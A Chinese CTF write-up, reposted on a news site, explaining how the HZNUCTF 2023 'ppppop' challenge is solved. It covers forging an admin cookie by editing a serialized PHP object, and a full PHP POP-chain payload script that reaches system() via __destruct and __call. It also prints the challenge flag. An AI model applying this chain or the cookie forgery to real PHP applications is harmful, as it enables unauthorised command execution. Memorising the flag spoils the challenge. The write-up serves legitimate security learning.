当前位置: 首页 > news >正文

[HZNUCTF 2023 preliminary]ppppop

打开题目便是空白页面,查看源代码,也是空白的,没有任何内容,进行目录扫描发现

有目录,但是内容都是为0

进行抓包,发现cookie中user的值有点像base64编码

尝试进行解码

解码内容是O:4:"User":1:{s:7:"isAdmin";b:0;},

其中b:0:表示一个布尔类型的值,0代表着false为假,1代表着true

也就是讲User对象的isAdmin属性当前为false,就是表示这个用户不是管理员,那就将0改为1,

和原本的user值换一下发包

就返回反序列化代码

<?php error_reporting(0); include('utils.php'); //包含utils.php文件 class A { //定义一个A类,类中有三个公共属性 public $className; public $funcName; public $args; public function __destruct() { //当对象销毁时触发 $class = new $this->className; //将className进行实例化。让这样就可以将className的值为B,就相当于new B了 $funcName = $this->funcName; //funcName属性的值赋值给funcName,这是方法名 $class->$funcName($this->args); //args属性值是参数 } } class B { public function __call($func, $arg) { //当调用不存在的方法时触发,$func是方法名,$arg是参数 $func($arg[0]); //这就是函数回调(function call)!如果 $func = "system",$arg[0] = "id",那么就会执行 system("id")! } } if(checkUser()) { highlight_file(__FILE__); $payload = strrev(base64_decode($_POST['payload'])); //将post传的参数值进行base64加密然后进行字符串反转 unserialize($payload); //这样我们可以将serialize结果先进行字符串反转,然后进行base64编码 }

这题比较简单,就是将className等于B类,这样就相当于实例了B类并赋值给了class,class调用$funcName($this->args)就是调用funcName()方法,这个方法在B类中是不存在的,所以就触发了__call方法,触发__call方法传入的两个变量$func, $arg它们分别是funcName属性的值和args的值,触发了__call方法,就会调动$func($arg[0]);这是函数回调,如果 $func = "system",$arg[0] = "id",那么就会执行 system("id")!

所以payload:

<?php class A { public $className; public $funcName; public $args; public function __destruct() { $class = new $this->className; $funcName = $this->funcName; $class->$funcName($this->args); } } class B { public function __call($func, $arg) { $func($arg[0]); } } $a=new A(); $a->className="B"; $a->funcName="system"; $a->args="env"; echo base64_encode(strrev(serialize($a)));

ls和ls /都没有发现flag文件,所以看看env中有没有flag

NSSCTF{417cea44-7104-4dee-8235-af0ee3d15ebb}

本题的知识点

其中b:0:表示一个布尔类型的值,0代表着false为假,1代表着true

$func($arg[0]); :这是函数回调!如果 $func = "system",$arg[0] = "id",那么就会执行 system("id")!

strrev函数是将字符串内容反转,就是将字符串中的字符顺序颠倒过来

http://www.cnnetsun.cn/news/136015.html

相关文章:

  • 2025年国内主流的德国SAP系统官方授权实施代理商有哪些?
  • 服务器性能优化实战:从资源瓶颈定位到极致调优(附租赁服务器适配指南)
  • 三相异步电动机交流调速系统:原理、应用与优化控制策略
  • 3、数据科学命令行入门指南
  • Wireshark抓包模式选择:5个关键场景与实战技巧
  • 10、数据探索与可视化全攻略
  • 小学生学C++编程 (自定义函数(二))
  • GPT-5.2国内稳定接入实战:中转调用方案全解析(适配中小团队Python栈)
  • macOS存储空间告急?iSCSI Initiator终极解决方案助你突破存储瓶颈
  • 5分钟快速掌握:用node-qrcode打造专业级二维码
  • 杭亚 YS - 01H 声光报警器用户心得
  • 扔掉PuTTY!我用这款“瑞士军刀”实现了运维效率翻倍
  • Clipper2深度解析:掌握多边形裁剪与偏移的终极利器
  • Web 项目地图选型指南:从 Leaflet 到 MapTalks,如何选择合适的地图引擎?
  • 7、Windows应用开发中的用户界面控件使用指南
  • 18、Windows 应用数据管理全解析
  • AI大模型微调完全指南:13分钟让小模型“开挂“超越GPT-5,程序员必备收藏!
  • 汇编语言全接触-34.RichEdit 控件:更多的正文操作
  • 汇编语言全接触-35.RichEdit 控件:语法高亮显示
  • 自养号测评:跳出“隐形工具”定位,筑牢品牌增长核心基建
  • 昂瑞微推出了面向移动电源行业的一站式智能方案-OM70201MV
  • Mobox移动桌面体验优化指南:极致显示与性能调校
  • 23、Web与互联网管理及服务器日志分析
  • LPxxR100FN_36W/48W/60W开关电源100V同步整流芯片典型应用电路(LP20R100FN,LP20R100FN,LP10R100FN)
  • SHP文件GCJ02转WGS84坐标系系统源码
  • ComfyUI智能字幕生成终极指南:轻松为图片添加精准描述 [特殊字符]
  • ComfyUI智能字幕生成终极指南:3步实现AI自动化图片标注
  • 2025亚马逊运营升级:从短期竞争,转向品牌资产长效经营
  • 【大前端】【iOS】iOS 真实项目可落地目录结构方案
  • “在我电脑上明明是好的”:我用这套云原生工作流,终结了团队内耗